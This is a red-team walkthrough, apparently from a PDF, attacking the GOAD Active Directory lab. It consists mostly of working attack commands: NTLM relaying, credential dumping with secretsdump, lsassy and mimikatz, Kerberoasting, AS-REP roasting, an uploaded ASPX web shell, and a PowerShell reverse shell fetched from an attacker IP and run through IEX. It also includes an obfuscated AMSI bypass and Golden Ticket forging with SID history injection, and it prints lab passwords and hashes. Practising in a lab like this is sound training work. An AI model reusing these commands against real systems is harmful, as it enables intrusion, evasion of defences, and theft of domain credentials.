Pentestfor AD
Pentestfor AD
Pentestfor AD
ACTIVE DIRECTORY IN
GOAD PART I
By Hernan Rodriguez
Senior Offensive Cybersecurity | Red Teamer | eCPTXv2 | CRTO | CRTP | CRTA | eCPPTv2 |
eWPTXv2 | eWPT | CAPen | MCRTA | CMPen | eMAPT | CNPen | eJPT | CEH-P | C)PTE |
OWASP | MITRE | OSINT | Splunk | ISO27K
https://www.linkedin.com/in/hernanrodriguez-/
Table of Contents
PENETRATION TESTING ACTIVE DIRECTORY IN GOAD PART I...................................... .1
INSTALLATION....................................................................................................................... .3
ENUMERATION........................................................................................................................5
Authenticated SMB.....................................................................................................................6
SMB NULL Session....................................................................................................................9
NTLM RELAY........................................................................................................................ .14
RESPONDER AND NTLMRELAYX.PY (LOCAL ADMIN DUMPING LOCAL SAM
HASHES)............................................................................................................................ .15
REVERSE TCP RESPONDER AND NTLMRELAYX.PY............................................... .16
SOCKS NTLMRELAYX.PY (LOCAL ADMIN DUMPING LOCAL SAM HASHES)....16
ASREPROAST........................................................................................................................ .19
KERBEROASTING................................................................................................................ .21
UNCONSTRAINED DELEGATION.......................................................................................24
CONSTRAINED DELEGATION........................................................................................... .28
WEB SERVICES..................................................................................................................... .30
EXPLOITING TRUST RELATIONSHIPS............................................................................. .38
SID History Injection.......................................................................................................... .38
Kerberos Golden Ticket........................................................................................................43
ADCS (ACTIVE DIRECTORY CERTIFICATE SERVICES).................................................47
INSTALLATION
Postdata: If you have little space on your main hard drive, we change the path where the hard
drives are stored in Virtualbox.
cd ..
check -l GOAD -p virtualbox -m local
./goad.sh -t install -l GOAD -p virtualbox -m local
cd ad/GOAD/providers/virtualbox
vagrant up
Method 1
We verify the password policies, at this stage we identify that after 5 attempts with an incorrect
password due to the policy, the account is blocked for 5 minutes.
Method 2
We identify the user samwell.tarly and subsequently list his record by finding credentials in the
description.
enumdomgroups
Filtering users by enum4linux
enum4linux -U 192.168.56.11 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
Other methods
https://github.com/ropnop/windapsearch
python3 windapsearch.py --dc-ip 192.168.56.11 -u "" -U
ldapsearch -H ldap://192.168.56.11 -x -b "DC=north,DC=sevenkingdoms,DC=local" -s sub
"(objectclass=user)" | grep sAMAccountName: | cut -f2 -d" "
We check if the user whose password we had in their profile description can authenticate on
the other devices (DC) of the different domains.
We have access to the domains north.sevenkingdoms.local and essos.local with the following
devices WINTERFELL, CASTELBLACK, BRAAVOS
We extract the information of the director of the “WINTERFELL” domain with bloodhound-
python
In this attack, an attacker intercepts and forwards a user's NTLM authentication credentials to a
remote server to gain unauthorized access to network resources.
This vulnerability allows attackers to gain improper access to sensitive systems and data on the
network.
responder -I vboxnet0
We waited a few minutes and got a Net-NTLMV2 hash from user eddard.stark
Password Cracking
Method 1
john --format=netntlmv2 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Method 2
hashcat -m 5600 --force -a 0 hash.txt /usr/share/wordlists/rockyou.txt
RESPONDER AND NTLMRELAYX.PY (LOCAL ADMIN DUMPING LOCAL SAM
HASHES)
cme smb 192.168.56.10-23 --gen-relay-list relay.txt
sudo nano /usr/share/responder/Responder.conf (edit smb off and http off)
sudo responder -I vboxnet0
From that point we have impersonalized the ROBB.STARK user ticket from the socks proxy, we
can use proxychains to authenticate directly without a password.
proxychains4 impacket-secretsdump -no-pass 'NORTH'/'ROBB.STARK'@'192.168.56.22'
python3 -m pip install lsassy
proxychains4 lsassy --no-pass -d NORTH -u EDDARD.STARK -d NORTH /home/hernan/ip.txt
Once these tickets are obtained, the attacker can attempt to decrypt the passwords of these accounts
using offline brute force methods.
Unauthenticated attack
impacket-GetNPUsers north.sevenkingdoms.local/ -usersfile valid_users.txt -request -dc-ip
192.168.56.11 -request -format john -outputfile outputfile.txt
Authenticated attack
impacket-GetNPUsers north.sevenkingdoms.local/samwell.tarly:Heartsbane -request -dc-ip
192.168.56.11 -request -format john -outputfile outputfile.txt
In both scenarios, the Kerberos key was generated with the file name outputfile.txt.
We did a Password Cracking with john the ripper.
It is an attack on Active Directory environments that exploits weaknesses in the Microsoft Windows
Kerberos authentication protocol.
In this attack, an attacker can request service tickets for user accounts that have the authentication
service attribute disabled.
These tickets can be captured and later used to perform offline brute force attacks to crack the
passwords for these accounts.
This attack can compromise privileged user accounts and provide unauthorized access to systems
and resources on the network.
It is used to request the Service Principal Names (SPNs) associated with a specific user on a domain
controller (DC), and we extract its kerberos hash.
Password Cracking
We perform a password cracking with hashcat.
hashcat -m 13100 hash.kerberos /usr/share/wordlists/rockyou.txt
Used to request a Ticket-Granting Ticket (TGT) for a specific user on a given domain.
impacket-getTGT north.sevenkingdoms.local/samwell.tarly:Heartsbane -dc-ip 192.168.56.11
export KRB5CCNAME=samwell.tarly.ccache
impacket-smbclient -k @winterfell.north.sevenkingdoms.local -dc-ip 192.168.56.11
Additional
If we are in a Windows RDP or from a reverse shell we can enumerate and exploit vulnerable
kerbeoasting accounts.
The script performs a search in the Active Directory to find all active user accounts, excluding the
krbtgt account and disabled accounts
([adsisearcher]'(&(samAccountType=805306368)(!samAccountName=krbtgt)(!
(UserAccountControl:1.2.840.113556.1.4.803:=2)))').FindAll()
./Rubeus.exe triage
In Active Directory it refers to situations where the credential delegation configuration is not
properly secured.
This could allow an attacker to compromise a service or server and use it to gain unauthorized
access to other resources within the network, unwantedly escalating their privileges.
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass 'north.sevenkingdoms.local/Administrator@winterfell'
Ports Found:
80/tcp
135/tcp
139/tcp
445/tcp
3389/tcp
49672/tcp
49671/tcp
5986/tcp
49676/tcp
49666/tcp
49664/tcp
47001/tcp
50617/tcp
49675/tcp
49665/tcp
1433/tcp
5985/tcp
49670/tcp
Identified website that allows file uploads publicly, the server is an IIS ASPX .NET.
http://192.168.56.22/Default.aspx
file:shell.aspx
http://192.168.56.22/upload/shell.aspx?cmd=whoami
https://github.com/HernanRodriguez1/RevershellTCP_BypassAMSI
wget https://raw.githubusercontent.com/HernanRodriguez1/RevershellTCP_BypassAMSI/main/
rshell.ps1
We edit the rshell.ps1 file and add our IP and listening port.
$servidor = new-object System.Net.Sockets.TcpClient('192.168.100.150',443);
python3 -m http.server 80
nc -lvp 443
We start the nc server with interactive shell
rlwrap nc -lvp 443
We enter the payload in the vulnerable parameter of the affected server.
powershell.exe -exec Bypass -noexit -C "IEX (New-Object
Net.WebClient).DownloadString('http://192.168.100.150/rshell.ps1')"
http://192.168.56.22/upload/shell.aspx?cmd=powershell.exe%20-exec%20Bypass%20-noexit%20-
C%20%22IEX%20(New-Object%20Net.WebClient).DownloadString(%27http://192.168.100.150/
rshell.ps1%27)%22
whoami /priv
cd C:\tmp
iwr http://192.168.100.150/mimikatz.exe -O mimikatz.exe
mimikatz.exe
privilege::debug
lsadump::sam /domain:north.sevenkingdoms.local /all /csv
user: Administrator
hash: dbd13e1c4e338284ac4e9874f7de6ef4
whoami /groups
user: robb.stark
pass: 831486ac7f26860c9e2f51ac91e1a07a
We identify which devices the robb.stark user can connect to by executing commands.
The Linked Database Servers vulnerability occurs when database servers are insecurely
interconnected, allowing a vulnerability in one to compromise the security of the others.
Exploiting trust relationships involves leveraging connections between systems to compromise the
security of a network, allowing attackers to move laterally and gain access to sensitive resources.
The focus of the SID History Injection Attack is to facilitate the migration of users between
domains by ensuring continued access to resources from the previous domain. This is achieved by
incorporating the user's previous Security Identifier (SID) into the SID History of their new
account. Importantly, this process can be manipulated to grant unauthorized access by adding the
SID of a high-privilege group (such as Enterprise Administrators or Domain Administrators) of the
primary domain to the SID History. This exploit grants access to all resources within the parent
domain.
Get-ADTrust -Filter *
Used to list trusted trusts established in an Active Directory environment.
Get-ADForest
It is used to collect information about the Active Directory forest such as forest name, domain root,
domain controllers, replication settings, functionality modes, and more.
Get-DomainTrust -Filter *
Se utiliza para enumerar y mostrar información sobre las relaciones de confianza establecidas entre
dominios en un entorno de Active Directory
SourceName : north.sevenkingdoms.local
TargetName : sevenkingdoms.local
Get-DomainSID -Domain north.sevenkingdoms.local
Get the DomainSID of the domain.
S-1-5-21-1783999085-2058125239-2142067885
Get-DomainSID -Domain sevenkingdoms.local
DomainSID of the parent domain.
Unknown error.
IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.150/ADMap.ps1')
DomainSID of the parent domain.
Unknown error.
IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.150/ADMap.ps1')
DomainSID of the parent domain.
S-1-5-21-656936499-3686200758-3068599609
Allows users to obtain clear text passwords, password hashes, and other sensitive data stored in the
SAM (Security Account Manager) database and the NTDS.dit (Active Directory) database.
impacket-secretsdump 'north/robb.stark:sexywolfy@192.168.56.11
kerberos::golden: Indicates that a Golden Ticket attack is being performed using Kerberos
functionality.
/user:Administrator: Specifies the username for which the Kerberos ticket is to be generated. In this
case, a ticket is being generated for the "Administrator" user.
/domain:north.sevenkingdoms.local: Specifies the domain for which the Kerberos ticket is to be
generated. Here, the domain "north.sevenkingdoms.local" is indicated.
/sid:S-1-5-21-1783999085-2058125239-2142067885: Provides the security identifier (SID) of the
domain. Each domain has a unique SID and this information is used in generating the Kerberos
ticket.
/sids:S-1-5-21-656936499-3686200758-3068599609-519: Specifies the additional SIDs to include
in the Kerberos ticket. These SIDs can represent security groups or other elements within the
domain.
/aes256:2718ee194cdce1bbeebb9f20cf5af8b4156b1465451bc4a7bd5c6ad281261da5: Provides the
AES256 key used to encrypt the Kerberos ticket. This key is necessary to generate a valid and
authenticated ticket.
/startoffset:-5: Specifies the start time in minutes for the Kerberos ticket. In this case, a start is set
five minutes in the past.
/endin:600: Indicates the duration of the Kerberos ticket in minutes. Here, it is established that the
ticket will be valid for the next 600 minutes (10 hours).
/renew:10080: Specifies the Kerberos ticket renewal time in minutes. In this case, it is established
that the ticket can be renewed every 10,080 minutes (one week).
/ptt: Indicates that the generated Kerberos ticket will be injected directly into the system for use.
This parameter allows the attacker to authenticate and access resources using the forged ticket.
klist
We list the tickets in session, we have impersonalized the administrator user of the domain
sevenkingdoms.local
dir \\KINGSLANDING.sevenkingdoms.local\C$
We list the DC folder, access is verified correctly.
iwr http://192.168.100.150/PsExec64.exe -O PsExec64.exe
.\PsExec64.exe -accepteula \\KINGSLANDING.sevenkingdoms.local powershell.exe
We enter the console powershell.exe del DC KINGSLANDING.sevenkingdoms.local
Bypass AMSI:
[ReF]."`A$(echo sse)`mB$(echo L)`Y"."g`E$(echo tty)p`E"(( "Sy{3}ana{1}ut{4}ti{2}{0}ils" -
f'iUt','gement.A',"on.Am`s",'stem.M','oma') )."$(echo ge)`Tf`i$(echo El)D"(("{0}{2}ni{1}iled" -
f'am','tFa',"`siI"),("{2}ubl{0}`,{1}{0}" -f 'ic','Stat','NonP'))."$(echo Se)t`Va$(echo LUE)"($(),$(1 -
eq 1))
IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.150/PowerView.ps1')
Get-DomainSID -Domain north.sevenkingdoms.local
S-1-5-21-656936499-3686200758-3068599609
Get-DomainGroup -Domain sevenkingdoms.local -Identify "Enterprise Admins"
objectsid: S-1-5-21-656936499-3686200758-3068599609-519
token::elevate
privilege::debug
lsadump::dcsync /domain:north.sevenkingdoms.local /all /csv
We extract the information from the domain certificates, to import it into bloodhound (an older
version)
wget https://github.com/ly4k/BloodHound/releases/download/v4.2.0-ly4k/BloodHound-linux-
x64.zip
unzip BloodHound-linux-x64.zip -d BloodHound4.2-ly4k
BloodHound4.2-ly4k/BloodHound-linux-x64/BloodHound --no-sandbox --disable-dev-shm-usage
We import the .zip file (in an automated way the queries will be installed)